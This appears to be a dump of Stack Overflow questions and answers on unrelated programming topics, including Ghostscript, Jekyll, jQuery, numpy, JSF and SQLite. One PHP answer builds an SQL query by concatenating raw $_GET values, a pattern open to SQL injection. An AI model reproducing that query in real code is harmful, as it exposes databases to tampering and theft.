32066647	0	 <p>I tried replacing the path of the input and output by one <strong>without any space</strong> and it now works ! Here is the code I ended up using :</p> <pre><code>using Ghostscript.NET.Rasterizer; private void button6_Click(object sender, EventArgs e) { int desired_x_dpi = 96; int desired_y_dpi = 96; string inputPdfPath = @"D:\Public\temp\rasterizer\FOS.pdf"; string outputPath = @"D:\Public\temp\rasterizer\output\"; using (var rasterizer = new GhostscriptRasterizer()) { rasterizer.Open(inputPdfPath); for (var pageNumber = 1; pageNumber &lt;= rasterizer.PageCount; pageNumber++) { var pageFilePath = Path.Combine(outputPath, string.Format("Page-{0}.png", pageNumber)); var img = rasterizer.GetPage(desired_x_dpi, desired_y_dpi, pageNumber); img.Save(pageFilePath + "ImageFormat.Png"); } } } </code></pre>
24248853	0	Netbeans Maven project from cloned GitHub Java (with jni and C) repository <p>I cloned the git repository <a href="https://github.com/s-u/rJava" rel="nofollow">here</a> and I would like to add it as a <code>Maven</code> or <code>NetBeans</code> <code>Java</code> project in <code>NetBeans</code>so I can use it as dependency for other application and to also be able to contribute to the repository.</p> <p>The problem is that after cloning it <code>NetBeans</code> does not allow me to add it as a project. I'm guessing this is because it does not follow the structure of neither Maven, nor Netbeans projects.</p> <p>Is there any way I can add it as a project in <code>NetBeans</code> and still have it liked to the <code>GitHub</code> repository so I can commit and push changes? The project is using <code>Java</code>, jni with <code>C</code> and <code>R</code> (I think).</p>
16319702	0	 <p>While <a href="http://stackoverflow.com/a/16317950/887149">two</a> other <a href="http://stackoverflow.com/a/16317947/887149">answers</a> are ok, here is another way to do it.</p> <p>You can use </p> <pre><code>Item_properties.keys.push($(this).val()); </code></pre> <p>Instead of </p> <pre><code>this.keys.push($(this).val()); </code></pre>
20739122	0	 <p><code>async: false</code> is bad idea because ajax isn't meant to be blocking. Without <code>async: false</code> you cannot stop the function from returning. A better solution would be using <code>Deferred</code> object. You code can be improved like this.</p> <pre><code>function processData(data) { return data; } function test() { // what is being returned here is a deferred object // see http://api.jquery.com/deferred.then/ return $.ajax().then(function (data) { return $.ajax().then(function (data) { return processData(data); }); }); } function main() { // you can't stop test from returning, but you can used the return Deferred object test().done(function (finalData) { // processData(data) in test will be available as `finalData` here }); } </code></pre>
23492287	0	Problems with upgrading Jekyll <p>I want to upgrade Jekyll to 1.5.1 in order to get some of the latest features, but I'm running into some trouble.</p> <p>My current version is 1.2.1 and <code>which jekyll</code> returns <code>/usr/bin/jekyll</code>. Rubygems is at <code>2.2.2</code>. I'm on OSX 10.9.2.</p> <p>When I simply run <code>gem update jekyll</code> it tells me that there is nothing to update. When I run <code>gem uninstall jekyll</code> it returns nothing, even with <code>-V</code> on. <code>which jekyll</code> keeps pointing at <code>usr/bin/jekyll</code> and <code>gem install -v 1.5.1</code> then gives me compile errors, I guess because there is still an old copy of Jekyll installed.</p> <p>The following is the output of <code>gem list</code>:</p> <pre><code>*** LOCAL GEMS *** actionmailer (4.0.0, 3.2.12) actionpack (4.0.0, 3.2.12) activeadmin (0.6.0) activemodel (4.0.0, 3.2.12) activerecord (4.0.0, 3.2.12) activerecord-deprecated_finders (1.0.3) activeresource (3.2.12) activesupport (4.0.0, 3.2.12) arbre (1.0.1) archive-tar-minitar (0.5.2) arel (4.0.1, 3.0.2) atomic (1.1.14) bcrypt-ruby (3.0.1) bourbon (3.1.8) builder (3.1.4, 3.0.4) bundler (1.3.5) CFPropertyList (2.2.0) coffee-rails (4.0.1, 3.2.2) coffee-script (2.2.0) coffee-script-source (1.6.3, 1.6.2) commander (4.1.5) country-select (1.1.1) devise (2.2.4) erubis (2.7.0) execjs (2.0.2, 1.4.0) faraday (0.8.7) fastercsv (1.5.5) fb-channel-file (0.0.2) formtastic (2.2.1) has_scope (0.5.1) hashie (2.0.5) highline (1.6.20) hike (1.2.3) httpauth (0.2.0) httpclient (2.3.4.1) i18n (0.6.5, 0.6.4) inherited_resources (1.4.0) jbuilder (1.5.2) journey (1.0.4) jquery-rails (3.0.4, 3.0.1, 2.3.0) json (1.8.1, 1.8.0) jwt (0.1.8) kaminari (0.14.1) kgio (2.8.1, 2.8.0) libxml-ruby (2.6.0) liquid (2.5.5) mail (2.5.4, 2.4.4) meta_search (1.1.3) mime-types (1.25, 1.24, 1.23) minitest (4.7.5) multi_json (1.8.2, 1.7.9, 1.7.7, 1.7.6) multipart-post (1.2.0) net-ssh (2.7.0) net-ssh-gateway (1.2.0) net-ssh-multi (1.2.0) newrelic_rpm (3.6.8.168) nokogiri (1.5.10, 1.5.6) oauth2 (0.8.1) omniauth (1.1.4) omniauth-facebook (1.4.1) omniauth-oauth2 (1.1.1) open4 (1.3.0) orm_adapter (0.4.0) pg (0.17.0, 0.14.1) polyamorous (0.5.0) polyglot (0.3.3) rack (1.5.2, 1.4.5) rack-cache (1.2) rack-ssl (1.3.3) rack-test (0.6.2) rails (4.0.0, 3.2.12) rails_12factor (0.0.2) rails_serve_static_assets (0.0.1) rails_stdout_logging (0.0.3) railties (4.0.0, 3.2.12) raindrops (0.12.0, 0.11.0) rake (10.1.0, 10.0.4) rdoc (3.12.2) responders (0.9.3) rhc (1.15.6) rubygems-update (2.2.2) sass (3.2.12, 3.2.10, 3.2.9) sass-rails (4.0.1, 3.2.6) sdoc (0.3.20) sitemap_generator (4.3.1) sprockets (2.10.0, 2.2.2) sprockets-rails (2.0.1) sqlite3 (1.3.8, 1.3.7) thor (0.18.1) thread_safe (0.1.3) tilt (1.4.1) treetop (1.4.15, 1.4.14) turbolinks (1.3.0) tzinfo (0.3.38, 0.3.37) uglifier (2.3.0, 2.1.2, 2.1.1) unicorn (4.6.3, 4.6.2) warden (1.2.1) </code></pre> <p>This is the error I get when trying to run <code>sudo gem install jekyll</code> after deleting <code>/usr/bin/jekyll</code>:</p> <pre><code>Building native extensions. This could take a while... /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/ruby extconf.rb creating Makefile make "DESTDIR=" clean make "DESTDIR=" compiling porter.c porter.c:359:27: warning: '&amp;&amp;' within '||' [-Wlogical-op-parentheses] if (a &gt; 1 || a == 1 &amp;&amp; !cvc(z, z-&gt;k - 1)) z-&gt;k--; ~~ ~~~~~~~^~~~~~~~~~~~~~~~~~~~ porter.c:359:27: note: place parentheses around the '&amp;&amp;' expression to silence this warning if (a &gt; 1 || a == 1 &amp;&amp; !cvc(z, z-&gt;k - 1)) z-&gt;k--; ^ ( ) 1 warning generated. compiling porter_wrap.c linking shared-object stemmer.bundle clang: error: unknown argument: '-multiply_definedsuppress' [-Wunused-command-line-argument-hard-error-in-future] clang: note: this will be a hard error (cannot be downgraded to a warning) in the future make: *** [stemmer.bundle] Error 1 ERROR: Error installing jekyll: ERROR: Failed to build gem native extension. </code></pre> <p>Any ideas?</p>
32600403	0	 <p>Pass that particular id in your remote url like <code>remote: "../admin/checkEmail.php?data=email&amp;id=23"</code> say your particular id be 23</p> <p>and in your checkEmail.php you can write query like</p> <pre><code>"SELECT email FROM table_name WHERE email='".$_GET['email']."' AND id!='".$_GET['id']."'" </code></pre> <p>same way you can do for username also</p>
35549098	0	 <p>Have you tried to install from composer? it's the preferred way to install yii</p>
12584026	0	@media queries - why does css rule overrule another? <p>im using a media query for <code>max-width: 768px;</code> and have put the css rule for an element as <code>left: 80px;</code></p> <p>then BENEATH this i have another media query targeting max width of 800px and in that i have the same element set to <code>left: 94px;</code></p> <p>However when i change the screen size to the smaller 768 and check with firebug the rule of <code>left: 80px;</code> is crossed out and the <code>left: 94px;</code> is being followed.</p> <p>Any ideas why?</p>
32454908	1	Remove duplicate data from an array in python <p>I have this array of data</p> <pre><code>data = [20001202.05, 20001202.05, 20001202.50, 20001215.75, 20021215.75] </code></pre> <p>I remove the duplicate data with <code>list(set(data))</code>, which gives me </p> <pre><code>data = [20001202.05, 20001202.50, 20001215.75, 20021215.75] </code></pre> <p>But I would like to remove the duplicate data, based on the numbers before the "period"; for instance, if there is <code>20001202.05</code> and <code>20001202.50</code>, I want to keep one of them in my array.</p>
20558780	0	Integrating NetLogo and Java : when should we think about this integration as a good option? <p>I just came to know about this excellent tutorials</p> <p><a href="http://scientificgems.wordpress.com/2013/12/11/integrating-netlogo-and-java-part-1/" rel="nofollow">http://scientificgems.wordpress.com/2013/12/11/integrating-netlogo-and-java-part-1/</a> <a href="http://scientificgems.wordpress.com/2013/12/12/integrating-netlogo-and-java-2/" rel="nofollow">http://scientificgems.wordpress.com/2013/12/12/integrating-netlogo-and-java-2/</a> <a href="http://scientificgems.wordpress.com/2013/12/13/integrating-netlogo-and-java-3/" rel="nofollow">http://scientificgems.wordpress.com/2013/12/13/integrating-netlogo-and-java-3/</a></p> <p>Their example concerns about computation needed for patch diffusion and shows how to access patch variable from java and change them in netlogo.</p> <p>I was wondering if anyone has any idea or comments on when we should think of writing an extension to make our model work better? I am new to netlogo itself, but I think it's good to know what are the options that I might not be aware of :) </p>
36245819	0	 <p>In general it depends on the target. On small targets (i.e. microcontrollers like AVR) you don't have that complex programs running. Additionally, you need to access the hardware directly (f.e. a UART). High level languages like Java don't support accessing the hardware directly, so you usually end up with C. </p> <p>In the case of C versus Java there's a major difference:</p> <p>With C you compile the code and get a binary that runs on the target. It <em>directly</em> runs on the target.</p> <p>Java instead creates Java Bytecode. The target CPU cannot process that. Instead it requires running another program: the Java runtime environment. That translates the Java Bytecode to actual machine code. Obviously this is more work and thus requires more processing power. While this isn't much of a concern for standard PCs it is for small embedded devices. (Note: some CPUs do actually have support for running Java bytecode directly. Those are exceptions though.)</p> <p>Generally speaking, the compile step isn't the issue -- the limited resources and special requirements of the target device are.</p>
27050536	0	 <p>Try changing one of your href to <code>about.php</code> and see if it works. Example:</p> <pre><code> &lt;ul class="dropdown-menu" data-role="dropdown"&gt; &lt;li&gt;&lt;a href="about.php"&gt;About&lt;/a&gt;&lt;/li&gt; //etc </code></pre> <p>As it stands your hyperlinks go to your <code>index.php</code>, which gives that same value to the <code>PHP_SELF</code> super, thus never agreeing with <code>about.php</code>. At least that what I can see by this limited code sample. If that doesn't work, please edit your question to include the output of <code>$_SERVER['PHP_SELF']</code>, which should give you the clue anyway.</p> <p>Moreover there's no reason to use <code>strpos</code> when comparing strings; use the <a href="http://stackoverflow.com/a/80649/2194007"><code>===</code></a> operator instead, which checks if arguments are of the same <em>type</em> as well as if they have the same value.</p>
36760435	0	 <p>I have started messenger development 2 days ago.I was able to access localhost from any where over internet by using ngrok <a href="http://ngrok.com" rel="nofollow">http://ngrok.com</a> give it a try .</p>
8233275	0	How to properly InsertAllOnSubmit() and is that better than looping InsertOnSubmit()? <p>Say I have:</p> <pre><code>using (SomeDataContext db = new SomeDataContext()) { foreach(Item i in Items) { DbItem d = new DbItem; d.value = i.value; //.... etc ... db.InsertOnSubmit(d); } db.SubmitChanges(); } </code></pre> <p>Is it possible and/or better (worse?) to do:</p> <pre><code>using (SomeDataContext db = new SomeDataContext()) { IEnumerable&lt;DbItem&gt; dbItems = //???? possible? foreach(Item i in Items) { DbItem d = new DbItem; d.value = i.value; //.... etc ... dbItems.Add(d); // ???? again, somehow possible? } db.InsertAllOnSubmit(dbItems); db.SubmitChanges(); } </code></pre>
31085940	0	 <p>Assuming that you are looking to set all elements for each row until the last negative element to be set to zero (as per the expected output listed in the question for a sample case), two approaches could be suggested here.</p> <p><strong>Approach #1</strong></p> <p>This one is based on <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.cumsum.html"><code>np.cumsum</code></a> to generate a mask of elements to be set to zeros as listed next -</p> <pre><code># Get boolean mask with TRUEs for each row starting at the first element and # ending at the last negative element mask = (np.cumsum(A2[:,::-1]&lt;0,1)&gt;0)[:,::-1] # Use mask to set all such al TRUEs to zeros as per the expected output in OP A2[mask] = 0 </code></pre> <p>Sample run -</p> <pre><code>In [280]: A2 = np.random.randint(-4,10,(6,7)) # Random input 2D array In [281]: A2 Out[281]: array([[-2, 9, 8, -3, 2, 0, 5], [-1, 9, 5, 1, -3, -3, -2], [ 3, -3, 3, 5, 5, 2, 9], [ 4, 6, -1, 6, 1, 2, 2], [ 4, 4, 6, -3, 7, -3, -3], [ 0, 2, -2, -3, 9, 4, 3]]) In [282]: A2[(np.cumsum(A2[:,::-1]&lt;0,1)&gt;0)[:,::-1]] = 0 # Use mask to set zeros In [283]: A2 Out[283]: array([[0, 0, 0, 0, 2, 0, 5], [0, 0, 0, 0, 0, 0, 0], [0, 0, 3, 5, 5, 2, 9], [0, 0, 0, 6, 1, 2, 2], [0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 9, 4, 3]]) </code></pre> <p><strong>Approach #2</strong></p> <p>This one starts with the idea of finding the last negative element indices from <a href="http://stackoverflow.com/a/31084951/3293881"><code>@tom10's answer</code></a> and develops into a mask finding method using <a href="http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html"><code>broadcasting</code></a> to get us the desired output, similar to <code>approach #1</code>.</p> <pre><code># Find last negative index for each row last_idx = A2.shape[1] - 1 - np.argmax(A2[:,::-1]&lt;0, axis=1) # Find the invalid indices (rows with no negative indices) invalid_idx = A2[np.arange(A2.shape[0]),last_idx]&gt;=0 # Set the indices for invalid ones to "-1" last_idx[invalid_idx] = -1 # Boolean mask with each row starting with TRUE as the first element # and ending at the last negative element mask = np.arange(A2.shape[1]) &lt; (last_idx[:,None] + 1) # Set masked elements to zeros, for the desired output A2[mask] = 0 </code></pre> <hr> <p>Runtime tests -</p> <p>Function defintions:</p> <pre><code>def broadcasting_based(A2): last_idx = A2.shape[1] - 1 - np.argmax(A2[:,::-1]&lt;0, axis=1) last_idx[A2[np.arange(A2.shape[0]),last_idx]&gt;=0] = -1 A2[np.arange(A2.shape[1]) &lt; (last_idx[:,None] + 1)] = 0 return A2 def cumsum_based(A2): A2[(np.cumsum(A2[:,::-1]&lt;0,1)&gt;0)[:,::-1]] = 0 return A2 </code></pre> <p>Runtimes:</p> <pre><code>In [379]: A2 = np.random.randint(-4,10,(100000,100)) ...: A2c = A2.copy() ...: In [380]: %timeit broadcasting_based(A2) 10 loops, best of 3: 106 ms per loop In [381]: %timeit cumsum_based(A2c) 1 loops, best of 3: 167 ms per loop </code></pre> <p>Verify results -</p> <pre><code>In [384]: A2 = np.random.randint(-4,10,(100000,100)) ...: A2c = A2.copy() ...: In [385]: np.array_equal(broadcasting_based(A2),cumsum_based(A2c)) Out[385]: True </code></pre>
29800942	0	 <p>query is empty because you are checking </p> <pre><code>`if (isset($_POST['EntryId1']))` instead of `if (isset($_POST['search']) &amp;&amp; $_POST['search']=='EntryId1')` and switch case would be b`enter code here`etter in this scenario. </code></pre>
577809	0	 <p>Is the layout of structs defined by the C++ standard? I would suppose that it is compiler dependent.</p>
22339059	0	 <p>When you update the div, for instance:</p> <pre><code>$("selector for the div").html("the updated markup"); </code></pre> <p>...the next line of code doesn't run until the div has been updated. At that point, the DOM updates have been completed. Normally that's good enough. If you want to be sure that those updates have been <em>rendered</em> (shown to the user), you can yield back to the browser using <code>setTimeout</code>, like this:</p> <pre><code>// ...do the updates... setTimeout(function() { // They've almost certainly been rendered. }, 0); </code></pre> <p>The delay won't be 0ms, but it'll be very brief. That gives the browser a moment to repaint (if it needs it, which varies by browser).</p>
19797770	0	facebook android sdk -user email returns null <p>I am having the following code that signin the user to facebook through my app. I am getting user.getproperty("email") as null first time. when i run the app second time i am getting the value. below is my code.</p> <p>private void loginToFb() {</p> <pre><code> final Session.NewPermissionsRequest newPermissionsRequest = new Session.NewPermissionsRequest( LandingPageActivity.this, Arrays.asList( "user_location", "user_birthday", "user_likes", "email")); Session.openActiveSession(this, true, new Session.StatusCallback() { // callback when session changes state @Override public void call(Session session, SessionState state, Exception exception) { if (session.isOpened()) { session.requestNewReadPermissions(newPermissionsRequest); // make request to the /me API Request request = Request.newMeRequest(session, new Request.GraphUserCallback() { // callback after Graph API response with user // object @Override public void onCompleted(GraphUser user, Response response) { if (user != null) { fetchUserFbDetails(user); } } }); Request.executeBatchAsync(request); } } }); } </code></pre>
28494181	0	 <p>This is probably related to a known issue in ui-router since angular 1.3.4 or so. See here for workarounds: <a href="https://github.com/angular-ui/ui-router/issues/600" rel="nofollow">https://github.com/angular-ui/ui-router/issues/600</a></p> <p>I also had this issue, and could fix it by using the other version of .otherwise which takes a function:</p> <p>replace: </p> <pre><code>$urlRouterProvider.otherwise("/home"); </code></pre> <p>with: </p> <pre><code>$urlRouterProvider.otherwise( function($injector, $location) { var $state = $injector.get("$state"); $state.go("home"); }); </code></pre>
30939010	0	JQuery Click Event Not Firing on button <p>I've got a JQuery click event that doesn't seems to be firing at all. If I am missing something I'm almost certain it's something trivial. I've tried debugging the code via Chrome but the button click on the Filter button is not even hitting the breakpoint.</p> <pre><code>$('#filter').click(function () { var dataurl; var visit = $('#visitFilter').val; var dns = $('#dnsFilter').val; var visitdate = $('#visitDateFilter').val; var entrypage = $('#entryPageFilter').val; var timeOnSite = $('#timeOnSiteFilter').val; var timeonsiteselector = $('#timeOnSiteSelector').val; var pages = $('#pagesFilter').val; var cost = $('#costFilter').val; var city = $('#cityFilter').val; var country = $('#countryFilter').val; var keywords = $('#keywordsFilter').val; var referrer = $('#referrerFilter').val; dataurl = "http://localhost:56971/VisitListFilter/28/" + visit + "/" + dns + "/" + visitdate + "/" + entrypage + "/" + timeOnSite + "/" + timeonsiteselector + "/" + pages + "/" + cost + "/" + city + "/" + country + "/" + keywords + "/" + referrer + "/" + "?format=json"; $('#VisitListTable').bootstrapTable('refresh', {url: dataurl}); }); </code></pre> <p>I've also created a fiddle here with the full code: <a href="https://jsfiddle.net/W3R3W0LF666/epu54yc4/1/" rel="nofollow">https://jsfiddle.net/W3R3W0LF666/epu54yc4/1/</a> </p>
39940672	0	Redoing a extra merge and a accidental contribution from the wrong user <p>I have the following git history that I would like to sort out a bit:</p> <p><a href="https://i.stack.imgur.com/9CoeS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9CoeS.png" alt="Git History"></a></p> <p>The issue occurred by using a remote editor fixed to a different git account but that had permissions for mine. Thus there are two contributors but they are both me. I then tried to fix that issue and got the red and black overlap looking commit instead. Then somehow I managed to pull and do a merge duplicating the results with a merge (the actual merge). The merge says that no changes occurred. Is there anyway I can clean this up and reassign credit just to black user not red user? I'm sure I'm skipping over details but I am not sure what else is relevant. Thanks! </p>
38734065	0	 <pre><code>brew install automake </code></pre> <p>Than you can use aclocal</p>
294842	0	 <p><a href="http://sourceforge.net/projects/clojure-contrib" rel="nofollow noreferrer">clojure-contrib</a> has an sql library which is a thin wrapper around JDBC (java.sql.DriverManager). The test file that comes with it has some examples of its usage.</p>
18681545	0	How to save photos to phones library/album? <p>In my app i am having one image view which is containing the profile picture of a user and on this image view i am having one another image view which contains the picture of product. So the is basically try product yourself kind a app.I am able to do all this stuff but finally when the user is done with trying that product and if he want to save that final picture containing applied product, he will click the save button.I don't know how to save this final picture which will contain images from two image views. Please guide me through this..Thanks in advance.</p>
5213154	0	Intent.getAction() is throwing Null + Android <p>I have written BroadcastReceiver for sort of Alarm application. In onReceive method I am reading Intent.getAction(). <strong>It is running well in all of the versions *<em>except in SDK version 1.5 where it throws null pointer exception</em>*</strong>. I am setting the action in another activity where I am calling broadcastReceiver. Please help me out with this. Below is the code snippet for both receiver and activity classes,</p> <p><strong>ProfileActivity.java</strong></p> <hr> <pre><code>public static final String STARTALARMACTION = "android.intent.driodaceapps.action.STARTPROFILE"; public static final String STOPALARMACTION = "android.intent.driodaceapps.action.STOPPROFILE"; AlarmManager alarmMan = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Intent startIntent = new Intent(this,AlarmReceiver.class); startIntent.setAction(STARTALARMACTION); Intent stopIntent = new Intent(this,AlarmReceiver.class); stopIntent.setAction(STOPALARMACTION+intentposition); </code></pre> <h2><strong>AlarmReceiver.java</strong></h2> <pre><code>@Override public void onReceive(Context context,Intent intent){ String intentAction = intent.getAction(); Log.d(TAG,"Intent:"+intentAction); **//throwing null** </code></pre> <p>After getting the error I tried my luck by giving the actions in of .manifest file. But no use. </p> <p>Please help me.</p> <p>Thanks.</p>
14234307	0	 <p>Superficially, it looks as though you need:</p> <pre><code>sed -n '/^IA\/\([NM][0-9][0-9]*\) \([01]\)$/ s//\1;\2/p' test.txt </code></pre> <p>The <code>-n</code> means do not print lines by default. The search pattern looks for lines that match (very exactly) <code>IA/</code> followed by N or M and one or more digits, a space, and a digit 0 or 1 and end of line. The letter and digit string is captured with <code>\(...\)</code>, as is the final digit; the replacement follows the example separating the fields with a semicolon rather than a comma as stated in the question; clearly, to output a comma as stated but not shown is trivial. The line is printed (the trailing <code>p</code>) only when it matches.</p> <p>As well as the comma versus semicolon issue, this answer assumes that the required output is accurate and the NTST line should not appear. However, the wording in the question implies that maybe the NTST line should appear as well. If so, you can simplify the regex by allowing any number of non-blank characters after the N or M:</p> <pre><code>sed -n '/^IA\/\([NM][^]*\) \([01]\)$/ s//\1;\2/p' test.txt </code></pre> <p>It is not clear from that question what should happen to lines such as:</p> <pre><code>IA/N 0 IA/N Z 0 </code></pre>
24411541	0	JSF Navigation using h:SelectOneMenu <p>Morning everyone, I have a question in regards to JSF navigation and using for navigation. My navigation was working fine until I put a three .xhtml files into subfolders. I have Home.xhtml, A.xhtml, B.xhtml, and C.xhtml all in the same folder. Upon putting A,B,and C.xhtml into subfolders A,B, and C, and then navigating from Home.xhtml, to A.xhtml, then to B.xhtml, I get this error: "/A/B/B.xhtml Not Found in ExternalContext as a Resource". Obviously the pages are stacking in the URL, but I'm not sure why.</p> <p>My Bean:</p> <pre><code>@ManagedBean(name="company") @SessionScoped public class CompanyBean implements Serializable { private static Map&lt;String, Object&gt; companyValue; public String value; boolean temp; public static Map&lt;String, Object&gt; getCompanyValues() { return companyValue; } public boolean getTemp() { if (Env.isProd()==true) { return true; } return false; } public void setTemp() { temp=Env.isProd(); } public static void setCompanyValues(Map&lt;String, Object&gt; companyValues) { CompanyBean.companyValue = companyValues; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } public CompanyBean() { companyValue=new LinkedHashMap&lt;String, Object&gt;(); companyValue.put("Select Company", "choose"); companyValue.put("AE", "AE/AE.xhtml"); companyValue.put("BP", "BP/BP.xhtml"); companyValue.put("CBK", "CBK/CBK.xhtml"); } public Map&lt;String,Object&gt; getCompanyValue() { return companyValue; } public void navigate(ValueChangeEvent event) { String page= event.getNewValue().toString(); try { FacesContext.getCurrentInstance().getExternalContext().redirect(page); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } </code></pre> <p>}</p> <p>My jsf code:</p> <pre><code>&lt;h:form&gt; &lt;h:selectOneMenu value="#{company.value}" valueChangeListener="#{company.navigate}" onchange="this.form.submit()"&gt; &lt;f:selectItems value="#{company.companyValue}" /&gt; &lt;/h:selectOneMenu&gt; &lt;/h:form&gt; </code></pre> <p>Sorry if this has been answered as it is morning and I am half awake.</p>
22506713	0	 <p>A jQuery selector will never return null, so you have recursion until the stack overflows. Try this instead:</p> <pre><code>if (selector.next().length) { </code></pre>
22108374	0	 <p>Usually this means you have a character that is illegal. For instance using øæå will cause json_decode to return null.</p> <pre><code>Returns the value encoded in json in appropriate PHP type. Values true, false and null (case-insensitive) are returned as TRUE, FALSE and NULL respectively. NULL is returned if the json cannot be decoded or if the encoded data is deeper than the recursion limit. </code></pre> <p><a href="http://dk1.php.net/json_decode" rel="nofollow">http://dk1.php.net/json_decode</a></p>
13562983	0	 <p>Try to disable the redis daemonize.</p> <p>In your redis.conf:</p> <pre><code># By default Redis does not run as a daemon. Use 'yes' if you need it. # Note that Redis will write a pid file in /var/run/redis.pid when daemonized. daemonize yes </code></pre> <p>Change <code>daemonize yes</code> to <code>daemonize no</code> may solve the problem.</p>
7640436	0	 <p>In Pascal, <code>:=</code> is the assignment operator. Replace it with <code>=</code> on the line that reads <code>IF x mod 2:= 0 THEN BEGIN</code>.</p> <p>Also, remove the <code>BEGIN</code>. The result should read:</p> <pre><code>IF x mod 2 = 0 THEN </code></pre>
39925524	0	 <p>I have several test cases in a test suite and before I was running the test suite in the Mac Terminal like this: </p> <pre><code>python LoginSuite.py </code></pre> <p>Running the command this way my directory was being populated with .pyc files. I tried the below stated method and it solved the issue:</p> <pre><code>python -B LoginSuite.py </code></pre> <p>This method works if you are importing test cases into the test suite and running the suite on the command line. </p>
8036805	0	T4 Code template trigger generation on: other file save / xml change (VS 2010) <p>I have a t4 template, that loops over an xml file in the project and genrate the code.<br> Is it possible to make the T4 to run when a certain file has bee saved, or when I build the project?<br> VS 2010 </p> <p>Thanks</p>
23523793	0	 <p>Unzip your sdk zip somewhere, copy entire contents of tools directory, replace it with your actual sdk tools folder contents.</p> <p>Restart eclipse if required.</p>
8070712	0	 <p>Magento-Debug to navigate Magento's modules and layouts: <a href="https://github.com/madalinoprea/magneto-debug" rel="nofollow">https://github.com/madalinoprea/magneto-debug</a></p>
22971679	0	 <ol> <li>Decide if you want to use <a href="http://subclipse.tigris.org/" rel="nofollow">Subclipse</a> or <a href="http://www.eclipse.org/subversive/" rel="nofollow">Subversive</a> and download a zipped updated site for the version you want to use.</li> <li>Decide if you want to use the <a href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.platform.doc.isv/guide/p2_director.html" rel="nofollow">command line</a> or the gui. To install via gui go to Help-install New software and drag the zipped updated site onto the window and drop it there. The remaining steps are equal to an installation from an internet update site.</li> </ol>
31437454	0	 <p>You specify the edition after the name of the DB:</p> <pre><code>SqlCommand cmd2 = new SqlCommand(string.Format("CREATE DATABASE [{0:S}] (SERVICE_OBJECTIVE = 'basic');", databaseName), conn); </code></pre> <p>The documentation for the syntax can be found <a href="https://msdn.microsoft.com/en-us/library/dn268335.aspx" rel="nofollow">here</a></p>
14277212	0	 <p>try something like this.Working <a href="http://jsfiddle.net/bKZ2a/" rel="nofollow">fiddle</a></p> <pre><code> $(function(){ $('.menuHolder li a').click(function (e) { $('.menuHolder li a').removeClass('active'); $(this).addClass('active'); }); }); </code></pre>
14737669	0	Conditional HyperLink in GridView? <p>I have a gridview with a hyperlink:</p> <pre><code>&lt;asp:GridView ID="gvEmployees" runat="server" AutoGenerateColumns="False" CssClass="table table-hover table-striped" GridLines="None" &gt; &lt;Columns&gt; &lt;asp:TemplateField HeaderText="Name" SortExpression="EmployeName"&gt; &lt;ItemTemplate&gt; &lt;asp:HyperLink ID="HyperLink1" runat="server" Text='&lt;%# Bind("EmployeName") %&gt;' &gt;&lt;/asp:HyperLink&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:TemplateField HeaderText="ID" SortExpression="EmployeID" Visible="False"&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="lblID" runat="server" Text='&lt;%# Bind("EmployeID") %&gt;'&gt;&lt;/asp:Label&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; </code></pre> <p>However, it should only appear as a hyperlink if the employeeID is that of the logged in employee.</p> <p>I can do all that, but what I do not know is how to make the hyperlink look like a Label. It's easy to have it not link anywhere, but I do not know how to make it look like a label.</p> <p>Thanks</p>
32295700	0	 <p>SQLite uses a more general dynamic type system. Please look at the storage classes that must have each value stored in a SQLite database: <a href="https://www.sqlite.org/lang.html" rel="nofollow">https://www.sqlite.org/lang.html</a> 1. onCreate</p> <blockquote> <p>"CREATE TABLE" + SENSORS_TABLE_NAME + "(" + SENSORS_COLUMN_ID + "INTEGER PRIMARY KEY AUTO INCREMENT," +</p> </blockquote> <p>look at: creat table --> column-def --> column-constraint AUTOINCREMENT is only one key-word</p> <blockquote> <p>SENSORS_COLUMN_NAME + "STRING" + SENSORS_COLUMN_1 + "STRING," +</p> </blockquote> <p><a href="https://www.sqlite.org/datatype3.html" rel="nofollow">https://www.sqlite.org/datatype3.html</a> There is no datatype STRING and also not, if you look at the affinity name examples. Take TEXT, or, if you wan't to give the length, VARCHAR(length)</p> <blockquote> <p>SENSORS_COLUMN_2 + "FLOAT," + SENSORS_COLUMN_3 + "FLOAT," + SENSORS_COLUMN_4 + "FLOAT," +</p> </blockquote> <p>"FLOAT" is all right and it converted into "REAL"</p> <blockquote> <p>SENSORS_COLUMN_STATUS + "BOOLEAN)"</p> </blockquote> <p>SQLite does not have a separate Boolean storage class. Instead, Boolean values are stored as integers 0 (false) and 1 (true).(1.1 Boolean Datatype) I think, your statement may be:</p> <pre><code>db.execSQL("CREATE TABLE" + SENSORS_TABLE_NAME + "(" + SENSORS_COLUMN_ID + "INTEGER PRIMARY KEY AUTOINCREMENT," + SENSORS_COLUMN_NAME + "TEXT" + SENSORS_COLUMN_1 + "TEXT," + SENSORS_COLUMN_2 + "FLOAT," + SENSORS_COLUMN_3 + "FLOAT," + SENSORS_COLUMN_4 + "FLOAT," + SENSORS_COLUMN_STATUS + "INTEGER )" ); </code></pre> <ol start="2"> <li><p>"setVersion" and "setLocale" in onCreate I do not know if that's necessary. In the constructor you have giver the version 1: super(context, DATABASE_NAME, null, 1); Please look at reference/android/database/sqlite/SQLiteOpenHelper Better is to take a string for the version, becourse an upgrate was taken when you have a new version. </p> <p>public static final int DB_VERSION = 1;</p></li> </ol> <p>And than:</p> <pre><code>super(context, DATABASE_NAME, null, DB_VERSION); </code></pre>
32745603	0	 <p>If your app uses multiple controllers then you could define a parent controller that gets extended by all your other controllers. Within the parent controller's constructor you can retrieve the settings data and store it in a class property which will be available to all of the child controller classes. Your child controllers can simply pass this data to the view.</p>
